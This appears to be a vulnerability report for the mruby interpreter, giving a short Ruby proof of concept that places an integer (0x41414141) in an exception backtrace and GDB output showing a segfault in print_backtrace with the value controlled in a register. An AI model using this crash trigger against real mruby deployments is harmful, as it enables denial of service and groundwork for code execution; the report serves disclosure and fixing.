How it was found

This crash does not affect mruby-engine because it does not print the back trace in guest. We can control the register by setting a backtrace array.

PoC

exc = Exception.new()
exc.set_backtrace([0x41414141])
raise exc

GDB

$ gdb -q --args ./bin/mruby test12.rb
Reading symbols from ./bin/mruby...done.
(gdb) r
Starting program: /home/tunz/working/mruby/mruby/bin/mruby test12.rb
trace:

Program received signal SIGSEGV, Segmentation fault.
0x0000000000422b88 in print_backtrace (mrb=0x2333010, backtrace=...) at /home/tunz/working/mruby/mruby/src/backtrace.c:222
222         fprintf(stream, "\t[%d] %.*s\n", i, (int)RSTRING_LEN(entry), RSTRING_PTR(entry));
(gdb) x/i $pc
=> 0x422b88 <print_backtrace+130>:      mov    eax,DWORD PTR [rax]
(gdb) i r rax
rax            0x41414141       1094795585